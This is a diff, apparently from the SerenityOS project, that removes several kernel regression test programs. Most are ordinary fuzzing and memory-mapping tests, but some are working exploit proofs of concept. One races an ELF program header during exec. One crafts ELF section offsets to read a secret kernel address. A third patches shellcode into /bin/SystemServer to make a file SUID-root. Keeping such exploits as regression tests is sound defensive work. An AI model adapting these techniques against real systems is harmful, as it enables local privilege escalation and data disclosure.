header.e_entry = 0;
|
||||
|
||||
char path[] = "/tmp/x.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
if (fd < 0) {
|
||||
perror("mkstemp");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (fchmod(fd, 0777) < 0) {
|
||||
perror("chmod");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
sync();
|
||||
|
||||
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
if (mapped == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
|
||||
|
||||
pthread_attr_t attrs;
|
||||
pthread_attr_init(&attrs);
|
||||
sched_param high_prio { 99 };
|
||||
pthread_attr_setschedparam(&attrs, &high_prio);
|
||||
|
||||
pthread_t t;
|
||||
pthread_create(
|
||||
&t, &attrs, [](void* ctx) -> void* {
|
||||
auto& ph = *(Elf32_Phdr volatile*)ctx;
|
||||
for (;;) {
|
||||
if (!hax)
|
||||
ph.p_offset = 0x60000000;
|
||||
else
|
||||
ph.p_offset = 0;
|
||||
hax = !hax;
|
||||
usleep(1);
|
||||
}
|
||||
},
|
||||
&writable_program_headers[0]);
|
||||
|
||||
for (;;) {
|
||||
|
||||
if (!fork()) {
|
||||
try_again:
|
||||
printf("exec\n");
|
||||
execl(path, "x", nullptr);
|
||||
goto try_again;
|
||||
}
|
||||
|
||||
printf("waitpid\n");
|
||||
waitpid(-1, nullptr, 0);
|
||||
}
|
||||
}
|
|
@ -1,127 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#if ARCH(X86_64)
|
||||
asm("haxcode:\n"
|
||||
"1: jmp 1b\n"
|
||||
"haxcode_end:\n");
|
||||
#elif ARCH(AARCH64)
|
||||
asm("haxcode:\n"
|
||||
"1: b 1b\n"
|
||||
"haxcode_end:\n");
|
||||
#elif ARCH(RISCV64)
|
||||
asm("haxcode:\n"
|
||||
"1: j 1b\n"
|
||||
"haxcode_end:\n");
|
||||
#else
|
||||
# error Unknown architecture
|
||||
#endif
|
||||
|
||||
extern "C" void haxcode();
|
||||
extern "C" void haxcode_end();
|
||||
|
||||
#pragma GCC diagnostic ignored "-Wdeprecated-declarations"
|
||||
|
||||
int main()
|
||||
{
|
||||
char buffer[16384];
|
||||
|
||||
auto& header = *(Elf32_Ehdr*)buffer;
|
||||
header.e_ident[EI_MAG0] = ELFMAG0;
|
||||
header.e_ident[EI_MAG1] = ELFMAG1;
|
||||
header.e_ident[EI_MAG2] = ELFMAG2;
|
||||
header.e_ident[EI_MAG3] = ELFMAG3;
|
||||
header.e_ident[EI_CLASS] = ELFCLASS32;
|
||||
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
||||
header.e_ident[EI_VERSION] = EV_CURRENT;
|
||||
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
||||
header.e_ident[EI_ABIVERSION] = 0;
|
||||
header.e_type = ET_EXEC;
|
||||
header.e_version = EV_CURRENT;
|
||||
header.e_ehsize = sizeof(Elf32_Ehdr);
|
||||
header.e_machine = EM_386;
|
||||
header.e_shentsize = sizeof(Elf32_Shdr);
|
||||
|
||||
header.e_phnum = 1;
|
||||
header.e_phoff = 52;
|
||||
header.e_phentsize = sizeof(Elf32_Phdr);
|
||||
|
||||
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
||||
ph[0].p_vaddr = 0x20000000;
|
||||
ph[0].p_type = PT_LOAD;
|
||||
ph[0].p_filesz = sizeof(buffer);
|
||||
ph[0].p_memsz = sizeof(buffer);
|
||||
ph[0].p_flags = PF_R | PF_X;
|
||||
ph[0].p_align = PAGE_SIZE;
|
||||
|
||||
header.e_shnum = 3;
|
||||
header.e_shoff = 1024;
|
||||
|
||||
u32 secret_address = 0x00184658;
|
||||
|
||||
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
||||
sh[0].sh_type = SHT_SYMTAB;
|
||||
sh[0].sh_offset = 2048;
|
||||
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
||||
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
|
||||
|
||||
sh[1].sh_type = SHT_STRTAB;
|
||||
sh[1].sh_offset = secret_address - 0x01001000;
|
||||
sh[1].sh_entsize = 0;
|
||||
sh[1].sh_size = 1024;
|
||||
|
||||
sh[2].sh_type = SHT_STRTAB;
|
||||
sh[2].sh_offset = 4096;
|
||||
sh[2].sh_entsize = 0;
|
||||
sh[2].sh_size = 1024;
|
||||
header.e_shstrndx = 2;
|
||||
|
||||
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
||||
sym[0].st_value = 0x20002000;
|
||||
sym[0].st_name = 0;
|
||||
|
||||
sym[1].st_value = 0x30000000;
|
||||
sym[1].st_name = 0;
|
||||
|
||||
auto* strtab = (char*)&buffer[3072];
|
||||
strcpy(strtab, "sneaky!");
|
||||
|
||||
auto* shstrtab = (char*)&buffer[4096];
|
||||
strcpy(shstrtab, ".strtab");
|
||||
|
||||
auto* code = &buffer[8192];
|
||||
size_t haxcode_size = (uintptr_t)haxcode_end - (uintptr_t)haxcode;
|
||||
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
|
||||
memcpy(code, (void*)haxcode, haxcode_size);
|
||||
|
||||
header.e_entry = 0x20000000 + 8192;
|
||||
|
||||
int fd = open("x", O_RDWR | O_CREAT, 0777);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto nwritten = write(fd, buffer, sizeof(buffer));
|
||||
if (nwritten < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (execl("/home/anon/x", "x", nullptr) < 0) {
|
||||
perror("execl");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,168 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/Format.h>
|
||||
#include <AK/Random.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <Kernel/API/SyscallString.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <syscall.h>
|
||||
|
||||
static bool is_deadly_syscall(int fn)
|
||||
{
|
||||
return fn == SC_exit || fn == SC_fork || fn == SC_sigreturn || fn == SC_exit_thread;
|
||||
}
|
||||
|
||||
static bool is_unfuzzable_syscall(int fn)
|
||||
{
|
||||
return fn == SC_dump_backtrace || fn == SC_munmap || fn == SC_kill || fn == SC_killpg;
|
||||
}
|
||||
|
||||
static bool is_nosys_syscall(int fn)
|
||||
{
|
||||
return fn == SC_futex || fn == SC_emuctl;
|
||||
}
|
||||
|
||||
static bool is_bad_idea(int fn, size_t const* direct_sc_args, size_t const* fake_sc_params, char const* some_string)
|
||||
{
|
||||
switch (fn) {
|
||||
case SC_mprotect:
|
||||
// This would mess with future tests or crash the fuzzer.
|
||||
return direct_sc_args[0] == (size_t)fake_sc_params || direct_sc_args[0] == (size_t)some_string;
|
||||
case SC_read:
|
||||
case SC_readv:
|
||||
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
|
||||
return direct_sc_args[0] == 1;
|
||||
case SC_write:
|
||||
case SC_pwritev:
|
||||
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
|
||||
return direct_sc_args[0] == 0;
|
||||
case SC_pledge:
|
||||
// Equivalent to pledge(nullptr, _), which would kill the fuzzer.
|
||||
return direct_sc_args[0] == (size_t)fake_sc_params && fake_sc_params[1] == 0;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static void do_systematic_tests()
|
||||
{
|
||||
int rc;
|
||||
|
||||
for (int i = 0; i < Syscall::Function::__Count; ++i) {
|
||||
dbgln("Testing syscall #{} ({})", i, Syscall::to_string((Syscall::Function)i));
|
||||
if (is_deadly_syscall(i)) {
|
||||
dbgln("(skipping deadly syscall)");
|
||||
continue;
|
||||
}
|
||||
// This is pure torture
|
||||
rc = syscall(Syscall::Function(i), 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc != -ENOSYS || is_nosys_syscall(i));
|
||||
}
|
||||
|
||||
// Finally, test invalid syscalls:
|
||||
dbgln("Testing syscall #{} (n+1)", (int)Syscall::Function::__Count);
|
||||
rc = syscall(Syscall::Function::__Count, 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc == -ENOSYS);
|
||||
dbgln("Testing syscall #-1");
|
||||
rc = syscall(Syscall::Function(-1), 0xc0000001, 0xc0000002, 0xc0000003);
|
||||
VERIFY(rc == -ENOSYS);
|
||||
}
|
||||
|
||||
static void randomize_from(size_t* buffer, size_t len, Vector<size_t> const& values)
|
||||
{
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
buffer[i] = values[get_random_uniform(values.size())];
|
||||
}
|
||||
}
|
||||
|
||||
// The largest SC_*_params struct is SC_mmap_params with 9 size_ts (36 bytes on x86, 72 on x86_64).
|
||||
static constexpr size_t fake_params_count = sizeof(Syscall::SC_mmap_params) / sizeof(size_t);
|
||||
|
||||
static void do_weird_call(size_t attempt, int syscall_fn, size_t arg1, size_t arg2, size_t arg3, size_t* fake_params)
|
||||
{
|
||||
// Report to dbg what we're about to do, in case it's interesting:
|
||||
StringBuilder builder;
|
||||
builder.appendff("#{}: Calling {}({:p}, {:p}, {:p}) with {:p} containing [",
|
||||
attempt, Syscall::to_string((Syscall::Function)syscall_fn), arg1, arg2, arg3, fake_params);
|
||||
for (size_t i = 0; i < fake_params_count; ++i) {
|
||||
if (i != 0)
|
||||
builder.append(", "sv);
|
||||
builder.appendff("{:p}", fake_params[i]);
|
||||
}
|
||||
builder.append(']');
|
||||
dbgln("{}", builder.to_byte_string());
|
||||
|
||||
// Actually do the syscall ('fake_params' is passed indirectly, if any of arg1, arg2, or arg3 point to it.
|
||||
int rc = syscall(Syscall::Function(syscall_fn), arg1, arg2, arg3);
|
||||
VERIFY(rc != -ENOSYS || is_nosys_syscall(syscall_fn));
|
||||
}
|
||||
|
||||
static void do_random_tests()
|
||||
{
|
||||
// Make it less likely to kill ourselves due to sys$alarm(1):
|
||||
{
|
||||
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
|
||||
int rc = sigaction(SIGALRM, &act_ignore, nullptr);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
// Note that we will also make lots of syscalls for randomness and debugging.
|
||||
size_t const fuzz_syscall_count = 10000;
|
||||
|
||||
size_t direct_sc_args[3] = { 0 };
|
||||
// Isolate to a separate region to make corruption less likely, because we will write to it:
|
||||
auto* fake_sc_params = reinterpret_cast<size_t*>(mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_RANDOMIZED, 0, 0));
|
||||
char const* some_string = "Hello, world!";
|
||||
Vector<size_t> interesting_values = {
|
||||
0,
|
||||
1,
|
||||
reinterpret_cast<size_t>(some_string),
|
||||
strlen(some_string),
|
||||
reinterpret_cast<size_t>(fake_sc_params),
|
||||
0xc0000000,
|
||||
0xc0000000 - PAGE_SIZE,
|
||||
0xffffffff,
|
||||
};
|
||||
dbgln("Doing a few random syscalls with:");
|
||||
for (auto const& interesting_value : interesting_values) {
|
||||
dbgln(" {0} ({0:p})", interesting_value);
|
||||
}
|
||||
for (size_t i = 0; i < fuzz_syscall_count; ++i) {
|
||||
// Construct a nice syscall:
|
||||
int syscall_fn = get_random_uniform(Syscall::Function::__Count);
|
||||
randomize_from(direct_sc_args, array_size(direct_sc_args), interesting_values);
|
||||
randomize_from(fake_sc_params, fake_params_count, interesting_values);
|
||||
|
||||
if (is_deadly_syscall(syscall_fn)
|
||||
|| is_unfuzzable_syscall(syscall_fn)
|
||||
|| is_bad_idea(syscall_fn, direct_sc_args, fake_sc_params, some_string)) {
|
||||
// Retry, and don't count towards syscall limit.
|
||||
--i;
|
||||
continue;
|
||||
}
|
||||
|
||||
do_weird_call(i, syscall_fn, direct_sc_args[0], direct_sc_args[1], direct_sc_args[2], fake_sc_params);
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
do_systematic_tests();
|
||||
|
||||
do_random_tests();
|
||||
|
||||
// If the Kernel survived, pass.
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,149 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Bug:
|
||||
* If the main thread of a process is no longer alive, it cannot receive
|
||||
* signals anymore. This can manifest as, for example, an unkillable process.
|
||||
*
|
||||
* So what needs to happen:
|
||||
* - There is process P
|
||||
* - It has more than one thread
|
||||
* - The main thread calls thread_exit(), leaving the rest of the threads alive
|
||||
* - Now the process is unkillable!
|
||||
*
|
||||
* Here's how to demonstrate the bug:
|
||||
* - Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
* - Time 1: PZ's main thread T1 creates a new thread T2
|
||||
* - Time 2: Nothing (T2 could communicate to PX both process and thread ID)
|
||||
* (most LibC functions crash currently, which is a different bug I suppose.)
|
||||
* - Time 3: T1 calls thread_exit()
|
||||
* - Time 4:
|
||||
* * PX tries to kill PZ (should work, but doesn't)
|
||||
* * PX tries to kill PZ using T2's thread ID (shouldn't work, and doesn't)
|
||||
* * PX outputs all results.
|
||||
*/
|
||||
|
||||
static constexpr useconds_t STEP_SIZE = 1100000;
|
||||
|
||||
static void fork_into(void(fn)())
|
||||
{
|
||||
pid_t const rc = fork();
|
||||
if (rc < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
if (rc > 0) {
|
||||
return;
|
||||
}
|
||||
fn();
|
||||
dbgln("child finished (?)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void thread_into(void* (*fn)(void*))
|
||||
{
|
||||
pthread_t tid;
|
||||
int const rc = pthread_create(&tid, nullptr, fn, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("pthread_create");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
static void sleep_steps(useconds_t steps)
|
||||
{
|
||||
int const rc = usleep(steps * STEP_SIZE);
|
||||
if (rc < 0) {
|
||||
perror("usleep");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
static bool try_kill(pid_t kill_id)
|
||||
{
|
||||
int rc = kill(kill_id, SIGTERM);
|
||||
perror("kill");
|
||||
printf("kill rc: %d\n", rc);
|
||||
return rc >= 0;
|
||||
}
|
||||
|
||||
static void run_pz();
|
||||
static void* run_pz_t2_wrap(void* fd_ptr);
|
||||
static void run_pz_t2();
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
// This entire function is the entirety of process PX.
|
||||
|
||||
// Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
dbgln("PX forks into PZ");
|
||||
fork_into(run_pz);
|
||||
sleep_steps(4);
|
||||
|
||||
// Time 4:
|
||||
dbgln("Let's hope everything went fine!");
|
||||
pid_t guessed_pid = getpid() + 1;
|
||||
pid_t guessed_tid = guessed_pid + 1;
|
||||
printf("About to kill PID %d, TID %d.\n", guessed_pid, guessed_tid);
|
||||
if (try_kill(guessed_tid)) {
|
||||
printf("FAIL, could kill a thread\n");
|
||||
exit(1);
|
||||
}
|
||||
if (!try_kill(guessed_pid)) {
|
||||
printf("FAIL, could not kill the process\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void run_pz()
|
||||
{
|
||||
// Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 1: PZ's main thread T1 creates a new thread T2
|
||||
dbgln("PZ calls pthread_create");
|
||||
thread_into(run_pz_t2_wrap);
|
||||
sleep_steps(2);
|
||||
|
||||
// Time 3: T1 calls thread_exit()
|
||||
dbgln("PZ(T1) calls thread_exit");
|
||||
pthread_exit(nullptr);
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
static void* run_pz_t2_wrap(void*)
|
||||
{
|
||||
run_pz_t2();
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void run_pz_t2()
|
||||
{
|
||||
// Time 1: PZ's main thread T1 creates a new thread T2
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 2: Nothing
|
||||
// FIXME: For some reason, both printf() and dbg() crash.
|
||||
// This also prevents us from using a pipe to communicate to PX both process and thread ID
|
||||
// dbgln("T2: I'm alive and well.");
|
||||
sleep_steps(18);
|
||||
|
||||
// Time 20: Cleanup
|
||||
printf("PZ(T2) dies from boredom.\n");
|
||||
exit(0);
|
||||
}
|
|
@ -1,76 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/bin/SystemServer", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_SHARED, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
||||
perror("mprotect");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
||||
* It does two things:
|
||||
*
|
||||
* chown ("/home/anon/own", 0, 0);
|
||||
* chmod ("/home/anon/own", 04755);
|
||||
*
|
||||
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
||||
*
|
||||
*/
|
||||
|
||||
#if 0
|
||||
[bits 32]
|
||||
[org 0x0804b111]
|
||||
jmp $+17
|
||||
path:
|
||||
db "/home/anon/own", 0
|
||||
mov eax, 79
|
||||
mov edx, path
|
||||
mov ecx, 0
|
||||
mov ebx, 0
|
||||
int 0x82
|
||||
mov eax, 67
|
||||
mov edx, path
|
||||
mov ecx, 15
|
||||
mov ebx, 2541
|
||||
int 0x82
|
||||
ret
|
||||
#endif
|
||||
|
||||
u8 const payload[] = {
|
||||
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
||||
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
||||
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
||||
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
||||
};
|
||||
|
||||
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,75 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Format.h>
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
printf("Testing full unnmap\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
auto* map3 = mmap((void*)((FlatPtr)map1 + 4 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map3 == MAP_FAILED) {
|
||||
perror("mmap 3");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// really allocating pages
|
||||
memset(map1, 0x01, 6 * PAGE_SIZE);
|
||||
|
||||
int rc;
|
||||
|
||||
outln("Mprotect 3 ranges [2, 2 ,2]");
|
||||
rc = mprotect(map1, 6 * PAGE_SIZE, PROT_READ);
|
||||
if (rc) {
|
||||
perror("mprotect full");
|
||||
return 1;
|
||||
}
|
||||
|
||||
outln("Mprotect 3 ranges [-1, 2 ,1-]");
|
||||
rc = mprotect((void*)((FlatPtr)map1 + PAGE_SIZE), 4 * PAGE_SIZE, PROT_READ);
|
||||
if (rc) {
|
||||
perror("mprotect partial");
|
||||
return 1;
|
||||
}
|
||||
|
||||
outln("unmapping");
|
||||
munmap(map2, 2 * PAGE_SIZE);
|
||||
|
||||
outln("Mprotect 2 ranges [2, -- ,2] -> Error");
|
||||
rc = mprotect(map1, 6 * PAGE_SIZE, PROT_READ);
|
||||
if (!rc) {
|
||||
perror("mprotect full over missing succeeded");
|
||||
return 1;
|
||||
}
|
||||
|
||||
outln("Mprotect 3 ranges [-1, -- ,1-] -> Error");
|
||||
rc = mprotect((void*)((FlatPtr)map1 + PAGE_SIZE), 4 * PAGE_SIZE, PROT_READ);
|
||||
if (!rc) {
|
||||
perror("mprotect partial over missing succeeded");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
munmap(map1, 6 * PAGE_SIZE);
|
||||
|
||||
outln("PASS");
|
||||
return 0;
|
||||
}
|
|
@ -1,106 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
{
|
||||
printf("Testing full unnmap\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
((u32*)map1)[0] = 0x41414141;
|
||||
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
|
||||
|
||||
((u32*)map2)[0] = 0xbeefbeef;
|
||||
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
|
||||
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|
||||
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int res = munmap(map1, 4 * PAGE_SIZE);
|
||||
if (res < 0) {
|
||||
perror("unmap");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
{
|
||||
printf("Testing partial unmapping\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
((u32*)map1)[0] = 0x41414141;
|
||||
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
|
||||
|
||||
((u32*)map2)[0] = 0xbeefbeef;
|
||||
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
|
||||
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|
||||
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int res = munmap((void*)((FlatPtr)map1 + PAGE_SIZE), 2 * PAGE_SIZE);
|
||||
if (res < 0) {
|
||||
perror("unmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* map3 = mmap((void*)((FlatPtr)map1 + PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map3 == MAP_FAILED) {
|
||||
perror("remap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map4 = mmap(map2, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map4 == MAP_FAILED) {
|
||||
perror("remap 2");
|
||||
return 1;
|
||||
}
|
||||
((u32*)map3)[0] = 0x13371337;
|
||||
((u32*)map4)[0] = 0x1b1b1b1b;
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de
|
||||
|| ((u32*)map3)[0] != 0x13371337 || ((u32*)map4)[0] != 0x1b1b1b1b
|
||||
|| ((u32*)map1)[PAGE_SIZE / sizeof(int)] != ((u32*)map3)[0] || ((u32*)map2)[0] != ((u32*)map4)[0]) {
|
||||
perror("read at old map and write at remap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = munmap(map1, PAGE_SIZE * 4);
|
||||
if (res < 0) {
|
||||
perror("cleanup");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,133 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_printer(int)
|
||||
{
|
||||
// no-op
|
||||
}
|
||||
|
||||
typedef struct yank_shared_t {
|
||||
timespec* remaining_sleep;
|
||||
// TODO: Be nice and use thread ID
|
||||
// pthread_t sleeper_thread;
|
||||
} yank_shared_t;
|
||||
|
||||
static void* yanker_fn(void* shared_)
|
||||
{
|
||||
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
|
||||
|
||||
timespec requested_sleep = { 1, 0 };
|
||||
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
delete shared->remaining_sleep; // T2
|
||||
|
||||
// Send SIGUSR1.
|
||||
|
||||
// Use pthread:
|
||||
// pthread_kill(somewhere, SIGUSR1);
|
||||
